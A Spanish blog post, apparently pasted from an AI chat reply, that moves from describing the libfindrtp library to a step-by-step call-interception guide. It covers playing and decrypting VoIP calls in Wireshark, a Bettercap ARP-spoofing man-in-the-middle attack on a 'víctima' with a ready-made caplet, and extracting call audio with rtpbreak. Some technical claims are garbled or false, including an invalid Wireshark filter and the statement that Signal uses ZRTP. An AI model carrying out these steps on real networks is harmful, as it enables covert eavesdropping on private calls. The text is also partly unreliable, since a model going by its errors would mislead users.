Libfindrtp: Auditoría de Redes VoIP

  

 https://www.onlinetis.com/es/

Libfindrtp: Auditoría de Redes VoIP

Para entender qué es libfindrtp en Kali Linux, primero hay que ubicarlo en su contexto: es una biblioteca (y herramienta) diseñada para la auditoría de seguridad en redes VoIP.

Aquí tienes un desglose sencillo de qué hace, para qué sirve y cómo se utiliza.


¿Qué es libfindrtp?

libfindrtp es una herramienta técnica que se utiliza para identificar flujos de datos RTP (Real-time Transport Protocol). El protocolo RTP es el estándar que transporta el audio y video en las llamadas de voz sobre IP (VoIP), como las de WhatsApp, Zoom o teléfonos IP de oficina.

Su función principal es "escuchar" el tráfico de red y detectar dónde están ocurriendo conversaciones de voz, incluso si no tienes acceso directo a la señalización (como SIP).

¿Para qué se usa en Kali Linux?

En el mundo del hacking ético y las auditorías de red, se utiliza para:

  • Interceptar llamadas: Localizar los paquetes de audio para luego reconstruirlos y escucharlos.

  • Análisis de tráfico: Identificar qué dispositivos en una red están realizando llamadas activas.

  • Pruebas de seguridad: Verificar si el tráfico de voz de una empresa está cifrado o si es vulnerable a intercepciones.


Cómo funciona el proceso de intercepción

Normalmente, libfindrtp es una pieza dentro de un rompecabezas más grande. El flujo suele ser:

  1. Captura: Se usa una herramienta como tcpdump o Wireshark para obtener el tráfico de red.

  2. Identificación: libfindrtp analiza esos datos y dice: "Oye, estos paquetes de aquí son una llamada de audio".

  3. Extracción: Una vez identificados, se pueden usar herramientas como rtpbreak o rtpinsertrfc2833 para extraer el audio real.


Instalación y Uso Básico

Aunque Kali Linux viene con muchas herramientas preinstaladas, a veces necesitas compilar estas bibliotecas específicas desde sus repositorios o instalarlas mediante el gestor de paquetes.

Instalación técnica

Si estás buscando la biblioteca de desarrollo, suele instalarse así:

Bash
sudo apt update
sudo apt install libfindrtp-dev

Ejemplo de concepto

Si estuvieras programando una herramienta propia en C o C++ que necesite detectar llamadas, llamarías a las funciones de esta librería para que analice los "headers" (cabeceras) de los paquetes y confirme si el payload es efectivamente multimedia en tiempo real.


Una pequeña nota de advertencia

Interceptar comunicaciones privadas sin consentimiento es ilegal en la mayoría de los países. Como usuario de Kali Linux, asegúrate de usar estas herramientas siempre en entornos controlados (laboratorios) o bajo contratos de Pentesting autorizados.

 

Verlo en Wireshark es mucho más intuitivo que leer líneas de código, ya que te permite "ver" la conversación y hasta reproducir el audio si no está cifrado.

Aquí tienes los pasos para identificar y analizar flujos RTP (los que detectaría libfindrtp) dentro de Wireshark:


1. Filtrar el tráfico RTP

Cuando abres una captura de red (.pcap), verás miles de paquetes. Para aislar la voz, escribe esto en la barra de filtros superior:

rtp

Si esto no muestra nada, pero sabes que hay una llamada, es posible que Wireshark no haya reconocido los paquetes como RTP. En ese caso, haz clic derecho sobre un paquete sospechoso (UDP) y selecciona:

Decode As... -> En la columna "Current" selecciona RTP.


2. El análisis maestro: RTP Streams

La forma más profesional de ver lo que detecta libfindrtp es usar el menú especializado de Wireshark:

  1. Ve a la pestaña superior Telephony.

  2. Selecciona RTP -> RTP Streams.

Se abrirá una ventana que lista todas las "llamadas" o flujos de audio encontrados. Verás datos críticos como:

  • Source/Destination Address: Quién habla con quién.

  • Payload: El códec usado (ej. G.711, Opus, G.722).

  • Packet Loss: Si la llamada se escucha mal por pérdida de datos.

  • Jitter: La variación en el tiempo de llegada de los paquetes.


3. Escuchar la llamada (Reproducción)

Si la llamada no tiene cifrado (SRTP), puedes reconstruir el audio ahí mismo:

  1. En la ventana de RTP Streams, selecciona el flujo que te interese.

  2. Haz clic en el botón Analyze.

  3. En la nueva ventana, haz clic en Play Streams.

  4. ¡Listo! Verás una gráfica de ondas y podrás darle al botón de Play para escuchar la conversación.


Diferencia clave: RTP vs. SRTP

Es importante notar que si la llamada es segura (SRTP), Wireshark (y libfindrtp) verán los paquetes, pero al intentar reproducirlos solo escucharás ruido blanco o estática, ya que el contenido está encriptado.

Resumen de atajos útiles

AcciónFiltro / Menú
Filtrar RTPrtp
Filtrar erroresrtp.sequence != rtp.setup-frame
Ver todas las llamadasTelephony > RTP > RTP Streams

Si ya tienes las llaves de cifrado (normalmente obtenidas mediante la captura del intercambio de señalización SIP/SDP), el proceso en Wireshark es bastante técnico pero directo. Cuando una llamada es segura, el protocolo pasa de ser RTP a SRTP (Secure RTP).

Para descifrarlo, Wireshark necesita que le proporciones la "Master Key" que se negoció al inicio de la sesión.


Pasos para descifrar SRTP en Wireshark

1. Localizar la llave en el tráfico SIP

Antes de configurar nada, debes encontrar la llave dentro del paquete de señalización.

  1. Filtra por sip.

  2. Busca el paquete 200 OK (que acepta la llamada) o el INVITE.

  3. En los detalles del paquete, busca la sección Session Description Protocol (SDP).

  4. Busca el atributo crypto. Verás algo parecido a esto:

    a=crypto:1 AES_CM_128_HMAC_SHA1_80 inline:WnBZ...[llave_en_base64]

2. Configurar el protocolo en Wireshark

Una vez que tienes esa cadena de texto (la llave), haz lo siguiente:

  1. Ve al menú Edit -> Preferences.

  2. En el panel izquierdo, despliega Protocols y busca SRTP.

  3. Haz clic en el botón Edit... junto a "SRTP Users Table".

  4. Añade una nueva entrada con estos datos:

    • Context: Selecciona el algoritmo (ej. AES_CM_128_HMAC_SHA1_80).

    • Key: Pega la llave en Base64 que copiaste del paquete SDP.

  5. Dale a OK y guarda los cambios.


3. Verificar el descifrado

Si la llave es correcta y corresponde a esa sesión específica:

  • Los paquetes que antes aparecían como SRTP ahora se identificarán también como RTP.

  • Podrás ir a Telephony -> RTP -> RTP Streams y el botón Play Streams ahora reproducirá audio claro en lugar de ruido digital.


¿Por qué a veces no funciona? (Problemas comunes)

Descifrar voz sobre IP no siempre es tan lineal debido a cómo se gestionan las llaves:

ProblemaExplicación
Perfect Forward Secrecy (PFS)Si se usa un intercambio Diffie-Hellman, la llave no viaja en el SDP y no puedes extraerla simplemente mirando el paquete.
Llaves dinámicasAlgunos sistemas cambian la llave durante la llamada (re-keying), lo que rompe el descifrado a mitad de camino.
RTCP PrivadoA veces el control del flujo (RTCP) también está cifrado y confunde al analizador de Wireshark.

Herramienta alternativa en Kali: srtp-decrypt

Si prefieres la línea de comandos (estilo libfindrtp), puedes usar herramientas como srtp-decrypt. Esta utilidad toma un archivo .pcap y la llave maestra por terminal para generar un nuevo archivo con el tráfico ya descifrado:

Bash
srtp-decrypt -k <tu_llave_base64> < archivo_entrada.pcap > archivo_descifrado.pcap

 

Para saber si una llamada es "indescifrable" mediante el método anterior (mirar el paquete SDP), debemos identificar si se usó PFS (Perfect Forward Secrecy) a través de un intercambio de llaves Diffie-Hellman.

Cuando esto ocurre, la llave maestra no se envía en texto claro (ni siquiera en Base64) dentro del mensaje SIP, sino que se genera de forma dinámica y privada entre los dos puntos.


Cómo identificar Diffie-Hellman (DTLS) en Wireshark

Si estás analizando tráfico de aplicaciones modernas como WhatsApp, WebRTC (navegadores) o Signal, lo más probable es que veas esto:

  1. Filtro: Escribe dtls en la barra de filtros.

  2. El "Handshake": Busca paquetes que digan Client Hello y Server Hello.

  3. La señal: Si ves que después de estos paquetes empieza el tráfico SRTP, significa que las llaves se intercambiaron mediante DTLS-SRTP.

El problema: En este escenario, aunque tengas el archivo .pcap, no hay ninguna llave que copiar y pegar. La llave solo existió en la memoria RAM de los dos dispositivos durante la llamada.


¿Cuándo SÍ se puede descifrar? (Resumen de escenarios)

Para que tu trabajo con libfindrtp y Wireshark tenga éxito, la arquitectura debe ser una de estas:

Escenario¿Es descifrable?Método
RTP EstándarSÍ (Fácil)No hay cifrado. Solo dale a "Play" en Wireshark.
SDES (SRTP)SÍ (Medio)La llave está en el atributo a=crypto del SDP (lo que hicimos antes).
DTLS-SRTPNO (Muy difícil)Necesitarías extraer los "SSL keys" del navegador o del sistema en tiempo real.
ZRTPNOEs el protocolo que usa Signal; las llaves se destruyen al colgar.

Herramientas Pro en Kali para estos casos

Si libfindrtp te confirma que hay tráfico pero Wireshark te muestra que es inalcanzable, los auditores de seguridad suelen saltar a herramientas de "Man-in-the-Middle" (MitM):

  • Ettercap / Bettercap: Para posicionarte entre el teléfono y el servidor.

  • SIPVicious: Una suite específica para auditar sistemas VoIP y encontrar extensiones sin contraseña.

  • RTPEngine: A veces se usa para forzar al servidor a bajar el nivel de cifrado (Downgrade Attack), aunque cada vez es menos efectivo en sistemas modernos.


Para realizar un ataque de Hombre en el Medio (MitM) con Bettercap en Kali Linux, el objetivo es convencer al dispositivo víctima de que eres el router, y al router de que eres la víctima. Esto se llama ARP Spoofing.

Aquí tienes la guía paso a paso para interceptar tráfico en tu red local:


1. Preparación e Instalación

Primero, asegúrate de tener Bettercap instalado y actualizado:

Bash
sudo apt update
sudo apt install bettercap

Luego, identifica tu interfaz de red (normalmente eth0 para cable o wlan0 para Wi-Fi) usando el comando ip a.


2. Iniciando Bettercap

Lanza la herramienta especificando tu interfaz:

Bash
sudo bettercap -iface eth0

Entrarás en el modo interactivo. Ahora, vamos a preparar el "veneno" para la red:

Paso A: Escanear la red

Para encontrar a tu víctima, primero debes saber quién está conectado.

Bash
net.probe on

Esto envía paquetes para descubrir dispositivos. Para ver la lista de dispositivos encontrados, escribe net.show. Anota la IP de tu objetivo (ejemplo: 192.168.1.15).

Paso B: Configurar el ARP Spoofing

Ahora diremos a Bettercap quién es el objetivo y quién es el router (Gateway).

Bash
set arp.spoof.targets 192.168.1.15
set arp.spoof.fullduplex true
  • fullduplex true permite interceptar tanto el tráfico que sale del dispositivo como el que entra.

Paso C: Iniciar el ataque

Bash
arp.spoof on

3. Interceptar y ver los datos

Una vez que el ataque está activo, el tráfico del objetivo pasa por tu máquina. Para ver lo que está pasando (incluyendo peticiones HTTP, DNS, etc.), activa el "sniffer":

Bash
net.sniff on

Si el objetivo está realizando llamadas VoIP o tráfico que herramientas como libfindrtp detectarían, verás pasar ráfagas de paquetes UDP.

Tip de experto: Si quieres guardar todo ese tráfico para analizarlo después con Wireshark (como vimos en los pasos anteriores), usa:

set net.sniff.output archivo_captura.pcap


4. ¿Cómo detenerlo?

Es vital limpiar la red después de la prueba para que el dispositivo de la víctima recupere la conexión normal:

Bash
arp.spoof off
net.probe off
exit

Resumen de Comandos Rápidos

ComandoFunción
helpMuestra todos los módulos disponibles.
ticker onMuestra información en tiempo real en tu pantalla.
net.recon onInventario continuo de dispositivos en la red.

Nota de seguridad: Al hacer esto, te conviertes en el cuello de botella. Si tu computadora es lenta o tu señal Wi-Fi es débil, la víctima notará que el internet va muy lento o se corta.

 

Los Caplets son básicamente "recetas" o scripts de automatización para Bettercap. En lugar de escribir 10 comandos cada vez que quieras auditar una red, creas un archivo .cap y lo lanzas de golpe.

Esto es extremadamente útil cuando usas herramientas como libfindrtp en paralelo, porque te permite estabilizar el "Man-in-the-Middle" rápidamente.


1. Crear tu primer Caplet

Abre una terminal en Kali y crea un archivo llamado voip_audit.cap:

Bash
nano voip_audit.cap

Pega el siguiente contenido (ajusta la interfaz si no es eth0):

Bash
# Configuración de red
net.probe on
set net.sniff.verbose false
set net.sniff.output voip_capture.pcap

# Configuración del ataque ARP Spoofing
# Deja 'arp.spoof.targets' vacío para atacar a TODA la red (¡Cuidado!)
# O pon una IP específica
set arp.spoof.targets 192.168.1.15
set arp.spoof.fullduplex true

# Iniciar módulos
arp.spoof on
net.sniff on

# Mostrar un mensaje visual para saber que funciona
set ticker.commands 'clear; net.show; net.sniff.stats'
ticker on

2. Ejecutar el Caplet

Para lanzar toda tu configuración de una sola vez, usa el flag -caplet:

Bash
sudo bettercap -iface eth0 -caplet voip_audit.cap

3. Integración con libfindrtp

Una vez que el Caplet está corriendo, Bettercap está guardando todo el tráfico en voip_capture.pcap. Ahora es cuando entra en juego la librería que mencionaste al principio.

Puedes abrir otra terminal y usar herramientas basadas en libfindrtp para analizar ese archivo en tiempo real o al terminar la sesión.

Por ejemplo, si usas rtpbreak (que depende de estas librerías):

Bash
rtpbreak -r voip_capture.pcap

Esto escaneará el archivo, detectará los flujos RTP y extraerá automáticamente los archivos de audio (.raw o .wav) de las conversaciones encontradas.


Resumen del Flujo de Trabajo Profesional

  1. Bettercap (Caplet): Intercepta el tráfico y lo guarda en un .pcap.

  2. libfindrtp / rtpbreak: Analiza el .pcap para encontrar paquetes de voz.

  3. Wireshark: Inspecciona manualmente si hay cifrado (SRTP) o si el audio es claro.

¿Qué quieres probar a continuación?

Podemos ver cómo personalizar el Ticker de Bettercap para que solo te avise cuando detecte tráfico UDP (típico de VoIP), o puedo enseñarte a usar SIPVicious para ver si la centralita telefónica tiene extensiones vulnerables.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux